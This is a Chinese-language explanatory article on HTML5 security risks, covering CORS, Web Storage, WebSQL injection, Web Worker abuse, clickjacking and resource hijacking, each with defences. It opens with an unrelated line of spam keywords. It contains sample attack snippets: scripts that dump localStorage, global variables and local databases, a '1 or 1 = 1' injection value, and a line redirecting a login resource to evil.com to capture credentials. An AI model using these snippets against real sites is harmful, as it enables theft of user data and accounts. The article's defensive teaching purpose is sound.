从指尖传出真挚的热情,二连浩特吧,堕落女教师在线观看

HTML5的安全風險詳析

　　關于HTML5存在的安全風險你了解多少?下面YJBYS小編為大家詳細解析一下HTML5的安全風險!希望對大家有所幫助!

　　一、CORS攻擊

　　CORS-CrossOrigin Resources Sharing，也即跨源資源共享，它定義了一種瀏覽器和服務器交互的方式來確定是否允許跨域請求。它是一個妥協，有更大的靈活性，但比起簡單地允許所有這些的要求來說更加安全。簡言之，CORS就是為了讓AJAX可以實現可控的跨域訪問而生的。

　　一、從SOP到CORS

　　SOP就是Same Origin Policy同源策略，指一個域的文檔或腳本，不能獲取或修改另一個域的文檔的屬性。也就是Ajax不能跨域訪問，我們之前的Web資源訪問的根本策略都是建立在SOP上的。它導致很多web開發者很痛苦，后來搞出很多跨域方案，比如JSONP和flash socket。如下圖所示：

　　后來出現了CORS-CrossOrigin Resources Sharing，也即跨源資源共享，它定義了一種瀏覽器和服務器交互的方式來確定是否允許跨域請求。它是一個妥協，有更大的靈活性，但比起簡單地允許所有這些的要求來說更加安全。簡言之，CORS就是為了讓AJAX可以實現可控的跨域訪問而生的。示意如下圖所示：

　　現在W3C的官方文檔目前還是工作草案，但是正在朝著W3C推薦的方向前進。不過目前許多現代瀏覽器都提供了對它的支持。

　　服務器端對于CORS的支持，主要就是通過設置Access-Control-Allow-Origin來進行的。如果瀏覽器檢測到相應的設置，就可以允許Ajax進行跨域的訪問。例如：

　　Access–Control-Allow-Origin

　　應用CORS的系統目前包括Face.com、GoogleCloudStorage API等，主要是為開放平臺向第三方提供訪問的能力。

　　二、CORS帶來的風險

　　CORS非常有用，可以共享許多內容，不過這里存在風險。因為它完全是一個盲目的協議，只是通過HTTP頭來控制。

　　它的風險包括：

　　1、HTTP頭只能說明請求來自一個特定的域，但是并不能保證這個事實。因為HTTP頭可以被偽造。

　　所以未經身份驗證的跨域請求應該永遠不會被信任。如果一些重要的功能需要暴露或者返回敏感信息，應該需要驗證Session ID。

　　2、第三方有可能被入侵

　　舉一個場景，FriendFeed通過跨域請求訪問Twitter，FriendFeed請求tweets、提交tweets并且執行一些用戶操作，Twitter提供響應。兩者都互相相信對方，所以FriendFeed并不驗證獲取數據的有效性，Twitter也針對Twitter開放了大部分的功能。

　　但是當如果Twitter被入侵后：

　　FriendFeed總是從Twitter獲取數據，沒有經過編碼或者驗證就在頁面上顯示這些信息。但是Twitter被入侵后，這些數據就可能是有害的。

　　或者FriendFeed被入侵時：

　　Twitter響應FriendFeed的請求，例如發表Tweets、更換用戶名甚至刪除賬戶。當FriendFeed被入侵后，攻擊者可以利用這些請求來篡改用戶數據。

　　所以對于請求方來說驗證接收的數據有效性和服務方僅暴露最少最必須的功能是非常重要的。

　　3、惡意跨域請求

　　即便頁面只允許來自某個信任網站的請求，但是它也會收到大量來自其他域的跨域請求。.這些請求有時可能會被用于執行應用層面的DDOS攻擊，并不應該被應用來處理。

　　例如，考慮一個搜索頁面。當通過'%'參數請求時搜索服務器會返回所有的記錄，這可能是一個計算繁重的要求。要擊垮這個網站，攻擊者可以利用XSS漏洞將JavaScript腳本注入某個公共論壇中，當用戶訪問這個論壇時，使用它的瀏覽器重復執行這個到服務器的搜索請求。或者即使不采用跨域請求，使用一個目標地址包含請求參數的圖像元素也可以達到同樣的目的。如果可能的話，攻擊者甚至可以創建一個WebWorker執行這種攻擊。這會消耗服務器大量的資源。

　　有效的解決辦法是通過多種條件屏蔽掉非法的請求，例如HTTP頭、參數等。

　　4、內部信息泄漏

　　假定一個內部站點開啟了CORS，如果內部網絡的用戶訪問了惡意網站，惡意網站可以通過COR(跨域請求)來獲取到內部站點的內容。

　　5、針對用戶的攻擊

　　上面都是針對服務器的攻擊，風險5則針對用戶。比方說，攻擊者已經確定了你可以全域訪問的productsearch.php頁面上存在SQL注入漏洞。攻擊者并不是直接從它們的系統數據庫中獲取數據，他們可能會編寫一個JavaScript數據采集腳本，并在自己的網站或者存在XSS問題的網站上插入這段腳本。當受害者訪問含有這種惡意JavaScript腳本的網站時，它的瀏覽器將執行針對“productsearch.php”的SQL注入攻擊，采集所有的數據并發送給攻擊者。檢查服務器日志顯示是受害人執行了攻擊，因為除了來自Referrer的HTTP頭一般沒有其他日志記錄。受害者并不能說他的系統被攻破，因為沒有任何任何惡意軟件或系統泄漏的痕跡。

　　三、攻擊工具

　　四、防御之道

　　1、不信任未經身份驗證的跨域請求，應該首先驗證Session ID或者Cookie。

　　2、對于請求方來說驗證接收的數據有效性，服務方僅暴露最少最必須的功能。

　　3、通過多種條件屏蔽掉非法的請求，例如HTTP頭、參數等。

　　二、Web Storage攻擊

　　HTML5支持WebStorage，開發者可以為應用創建本地存儲，存儲一些有用的信息。例如LocalStorage可以長期存儲，而且存放空間很大，一般是5M，極大的解決了之前只能用Cookie來存儲數據的容量小、存取不便、容易被清除的問題。這個功能為客戶端提供了極大的靈活性。

　　一、WebStorage簡介

　　二、攻擊方式

　　LocalStorage的API都是通過JavaScript提供的，這樣攻擊者可以通過XSS攻擊竊取信息，例如用戶token或者資料。攻擊者可以用下面的腳本遍歷本地存儲。

　　if(localStorage.length){

　　for(I in localStorage) {

　　console.log(i);

　　console.log(localStorage.getItem(i));

　　}

　　同時要提一句，LocalStorage并不是唯一暴露本地信息的方式。我們現在很多開發者有一個不好的習慣，為了方便，把很多關鍵信息放在全局變量里，例如用戶名、密碼、郵箱等等。數據不放在合適的作用域里會帶來嚴重的安全問題，例如我們可以用下面的腳本遍歷全局變量來獲取信息。

　　for(iin window) {

　　obj=window[i];

　　if(obj!=null||obj!=undefined)

　　var type =typeof(obj);

　　if(type=="object"||type=="string") {

　　console.log(“Name:”+i);

　　try {

　　my = JSON.stringify(obj);

　　console.log(my);

　　} catch(ex) {}

　　}

　　三、攻擊工具

　　HTML5dump的定義是“JavaScriptthat dump all HTML5 local storage”，它也能輸出HTML5 SessionStorage、全局變量、LocalStorage和本地數據庫存儲。

　　Shell of the Future是一個反向WebShell處理器，它利用HTML5的跨站請求來劫持會話。

　　四、防御之道

　　對于WebStorage攻擊的防御措施是：

　　1、數據放在合適的作用域里

　　例如用戶sessionID就不要用LocalStorage存儲，而需要放在sessionStorage里。而用戶數據不要儲存在全局變量里，而應該放在臨時變量或者局部變量里。

　　2、不要存儲敏感的信息

　　因為我們總也無法知道頁面上是否會存在一些安全性的問題，一定不要將重要的數據存儲在WebStorage里。

　　三、WebSQL攻擊

　　數據庫安全一直是后端人員廣泛關注和需要預防的問題。但是自從HTML5引入本地數據庫和WebSQL之后，前端開發對于數據庫的安全也必須要有所了解和警惕。WebSQL的安全問題通常表現為兩個部分。

　　一、WebSQL安全風險簡介

　　數據庫安全一直是后端人員廣泛關注和需要預防的問題。但是自從HTML5引入本地數據庫和WebSQL之后，前端開發對于數據庫的安全也必須要有所了解和警惕。WebSQL的安全問題通常表現為兩個部分：

　　第一種是SQL注入：和本地數據庫一樣，攻擊者可以通過SQL注入點來進行數據庫攻擊。

　　另外一方面，如果Web App有XSS漏洞，那么本地數據很容易泄漏，可以想想本地數據庫里存儲了用戶最近交易記錄或者私信的情況。

　　二、WebSQL安全風險詳析

　　1、SQL注入

　　例如我們有一個URL為http:/blog.csdn.net/hfahe?id=1，它接收了一個id參數來進行本地數據庫查詢并輸出，對應的SQL語句為“select name from user where id = 1”。

　　但是針對這個簡單的SQL查詢，攻擊者可以構造一個虛假的輸入數據“1 or 1 = 1”，那么我們的SQL語句將變為“select name from user where id = 1 or 1 = 1”。這就相當糟糕了，因為1=1這個條件總是成立的，那么這條語句將遍歷數據庫user表里的所有記錄并進行輸出。

　　利用這種方式，攻擊者可以構造多種攻擊的SQL語句，來操縱用戶的本地數據庫記錄。

　　2、XSS與數據庫操縱

　　在有XSS漏洞的情況下，攻擊者獲取本地數據需要如下幾個步驟：

　　1)獲取JavaScript數據庫對象

　　2)獲取SQLite上的表結構

　　3)獲取數據表名

　　4)操作數據

　　例如如下腳本完整的實現了上面的步驟，我在Chrome控制臺里運行即可得到用戶本地數據庫的表名，利用這個表名攻擊者可以用任何SQL語句來完成攻擊。

　　var dbo;

　　var table;

　　var usertable;

　　for(i in window) {

　　obj = window[i];

　　try {

　　if(obj.constructor.name=="Database"){

　　dbo = obj;

　　obj.transaction(function(tx){

　　tx.executeSql('SELECT name FROM sqlite_master WHERE type=\'table\'', [], function(tx,results) {

　　table = results;

　　},null);

　　});

　　}

　　} catch(ex) {}

　　}

　　if(table.rows.length > 1)

　　usertable = table.rows.item(1).name;

　　三、防御之道

　　針對WebSQL攻擊，我們有如下方法預防：

　　1) 檢查輸入類型，過濾危險字符

　　我們需要保證輸入類型符合預期，例如上面的id參數一定是數字類型;同時過濾掉危險的關鍵字和符號，像PHP里addslashes這個函數的作用一樣。

　　2) 在SQL語句中使用參數形式

　　SQL語句是可以用參數形式的，例如

　　executeSql("SELECTname FROM stud WHERE id=" + input_id)

　　這種字符串拼接的形式并不安全，可以換為

　　executeSql("SELECTname FROM stud WHERE id=?“, [input_id]);)

　　這樣能保證參數的輸入符合設定的類型。

　　3)謹慎對待每一次SQL操作

　　無論是select、modify、update或者delete，你編寫的任何一條SQL語句操作都有可能成為攻擊者的攻擊對象，造成重大損失，所以都必須要謹慎對待。

　　4)不要存儲重要數據

　　本地數據庫永遠透明而不安全，重要的數據必須要存儲在服務器上，本地數據庫里沒有重要數據就不會對用戶造成重大損失。

　　5)杜絕XSS漏洞

　　XSS攻擊的防御將會在專門章節闡述，本文不展開詳析。

　　四、Web Worker攻擊

　　由于JavaScript是單線程執行的，在執行過程中瀏覽器不能執行其它JavaScript腳本，UI渲染線程也會被掛起，從而導致瀏覽器進入僵死狀態。使用WebWorker可以將計算過程放入一個新線程里去執行將避免這種情況的出現。

　　一、WebWorker介紹

　　由于JavaScript是單線程執行的，在執行過程中瀏覽器不能執行其它JavaScript腳本，UI渲染線程也會被掛起，從而導致瀏覽器進入僵死狀態。使用WebWorker可以將計算過程放入一個新線程里去執行將避免這種情況的出現。這樣我們可以同時執行多個JS任務而不會阻塞瀏覽器，非常適合異步交互和大規模計算，這在以前是很難做到的。

　　下面一張圖形象的揭示了WebWorker的作用：沒有WebWorker時，如果我們要煎一個雞蛋餅，需要先和面粉，然后打雞蛋，最后才能煎餅;使用WebWorker，可以在和面粉的同時打雞蛋，這兩者同時進行，都完成后就能開始煎餅，極大的縮短了等待的時間。

　　但是這樣一個好的特性也會引入攻擊的可能。

　　二、WebWorker攻擊

　　1、Botnet

　　攻擊的方式包括DDos攻擊、發送垃圾郵件，用戶一旦訪問惡意頁面或者網站時，頁面的惡意代碼就能把用戶的瀏覽器當作肉雞，利用WebWorker大規模執行多線程攻擊，例如DDos攻擊、發送垃圾郵件或者進行網絡嗅探。

　　DDOS攻擊(分布式拒絕服務攻擊)

　　2、postMessage帶來的問題

　　WebWorker無法訪問DOM，只能通過postMessageAPI和主線程通信。postMessage在HTML5中被引入，用來解決跨域或者跨線程數據交互的問題。但是如果messaging可以接收任何來源的信息，此頁面有可能會被攻擊;另外postMessage不通過服務器，如果不經過驗證和過濾，可能成為XSS注入點。例如如下代碼沒有對輸入數據進行驗證和清洗，攻擊者完全可以構造惡意的data來注入頁面DOM，構造XSS攻擊，形如“>”等等。

　　worker.addEventListener(‘message’,function(e) {

　　document.getElementById(‘result’).innerHTML = e.data;

　　}, false);

　　三、攻擊工具

　　Ravan是一個JS的分布式計算系統，可以用HTML5Web Worker通過后臺加密的JS多線程腳本來執行蠻力攻擊。

　　四、預防之道

　　1、對于用戶來說，不要訪問不安全的站點。

　　2、使用postMessage時需要驗證來源可信;另外不要使用innerHTML，現代瀏覽器提供了textContent屬性，可以幫助對HTML標簽進行過濾，或者你可以自行編寫過濾的邏輯和函數。

　　五、劫持攻擊

　　下面我們要講到一類的HTML5安全問題，也就是劫持的問題。

　　一、ClickJacking-點擊劫持

　　這種攻擊方式正變得越來越普遍。被攻擊的頁面作為iframe，用Mask的方式設置為透明放在上層，惡意代碼偷偷地放在后面的頁面中，使得一個頁面看起來似乎是安全的，然后誘騙用戶點擊網頁上的內容，達到竊取用戶信息或者劫持用戶操作的目的。下圖中，欺詐的頁面放置在下層，被攻擊的銀行頁面作為透明的層放置在上層，用戶看到的是欺詐頁面上顯示的信息并進行輸入和點擊，但是真正的用戶行為是發生在銀行頁面上的。

　　想象一下，點擊劫持可以誘使你發布一條虛假微博、或者發送一封虛假郵件甚至盜取你的個人信息。例如下圖可以誘使我們發布一條虛假的Twitter消息。

　　這里有一個測試工具clickjacktest可以檢測你的頁面是否有點擊劫持的風險，你可以輸入一個網址并點擊Test，如果頁面可以正常顯示并加載，那么表示這個頁面存在被點擊劫持攻擊的風險，如果頁面顯示為一片空白，那么表示頁面比較安全。

　　二、CookieJacking-Cookie劫持

　　ClickJacking只涉及點擊操作，但是HTML5的拖放API使得這種攻擊擴大到拖放操作。因為現在Web應用里，有大量需要用戶拖放完成的操作。在同源策略里，一個域的Cookie只能被本域所訪問，但是拖放操作是不受同源策略限制的，這樣利用拖放操作、XSS和其他技巧，可以構造跨域合法請求，劫持Cookie。

　　實現原理其實和ClickJacking類似，只要欺騙用戶進行拖放行為，就可以把用戶某個域的信息發送到另外一個域里。這個其實很容易做到，之前有一個研究者就在Facebook上建立了一個應用，這個應用的功能是讓用戶把圖片上美女的衣服拖拽下來。我想可能大多數人都會去嘗試而且不會有警惕心理。

　　我們應當如何防止ClickJacking、CookieJacking呢?

　　1、X-Frame-Options：所有的現代瀏覽器都支持X-Frame-Options HTTP頭，這個頭允許頁面被iframe使用時是否正常渲染。下圖中的頁面就是當X-Frame-Options生效時的效果。

　　2、JavaScript方式

　　這種方式非常常見，具體代碼就是：

　　if (top !==window)

　　top.location = window.location.href;

　　Facebook和Twitter都使用了這種方式，但是這種方式并不是完全奏效的，例如攻擊者可以使用204轉向或者禁用JavaScript的方式來繞過(例如iframe沙箱)。

　　不過現在至少80%以上的網站都沒有注意到點擊劫持和cookie劫持的問題并加以保護。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對性的進行防御。

　　三、CORJacking-跨域資源劫持

　　CORJacking是指跨源資源劫持。HTML5應用有各種不同的資源，例如Flash文件，Silverligh，視頻，音頻等，這些資源可以通過DOM訪問和控制。如果頁面存在XSS漏洞，那么攻擊者可能通過跨域資源的劫持進行攻擊。例如下面的代碼載入了一個swf文件，作為用戶登錄框，這里面我們可以實現一些加密的邏輯。

　　當頁面存在XSS漏洞時，攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。

　　document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;

　　那么當用戶在這樣的登錄框里輸入自己的用戶名和密碼并登錄時，他的帳號就已經被盜取了。

　　這個問題在不同瀏覽器里面表現是不一致的，有興趣的朋友可以下去自行測試。

　　完結篇：HTML5對安全的改進

　　HTML5對舊有的安全策略進行了非常多的補充。HTML5為iframe元素增加了sandbox屬性防止不信任的Web頁面執行某些操作，例如訪問父頁面的DOM、執行腳本、訪問本地存儲或者本地數據庫等等。

　　HTML5對舊有的安全策略進行了非常多的補充。

　　一、iframe沙箱

　　HTML5為iframe元素增加了sandbox屬性防止不信任的Web頁面執行某些操作，例如訪問父頁面的DOM、執行腳本、訪問本地存儲或者本地數據庫等等。但是這個安全策略又會帶來另外的風險，這很有趣，例如ClickJacking攻擊里阻止JavaScript腳本的運行來繞過JavaScript的防御方式。

　　二、CSP內容安全策略

　　XSS通過虛假內容和誘騙點擊來繞過同源策略。 XSS攻擊的核心是利用了瀏覽器無法區分腳本是被第三方注入的，還是真的是你應用程序的一部分。CSP定義了Content-Security-Policy HTTP頭來允許你創建一個可信來源的白名單，使得瀏覽器只執行和渲染來自這些來源的資源，而不是盲目信任服務器提供的所有內容。即使攻擊者可以找到漏洞來注入腳本，但是因為來源不包含在白名單里，因此將不會被執行。

　　三、XSS過濾器

　　Chrome、Safari這樣的現代瀏覽器也構建了安全防御措施，在前端提供了XSS過濾器。例如http://test.jiangyujie.com/?text=

　　在Chrome中將無法得到執行，如下圖所示。

　　四、其他

　　另外HTML5的應用程序訪問系統資源比Flash更受限制。

　　最后，關于HTML5專門的安全規范目前還在討論中，有的人希望分散到HTML5規范的各個章節，有的人希望單獨列出，目前沒有單獨的內容，因為不僅要考慮Web App開發者的安全，還要考慮實現HTML5支持的廠商，對它們進行規范和指導。

　　我個人認為HTML5的安全規范將會有一個統一的章節來進行闡述，并在各個功能模塊相應的提及。

【HTML5的安全風險詳析】相關文章：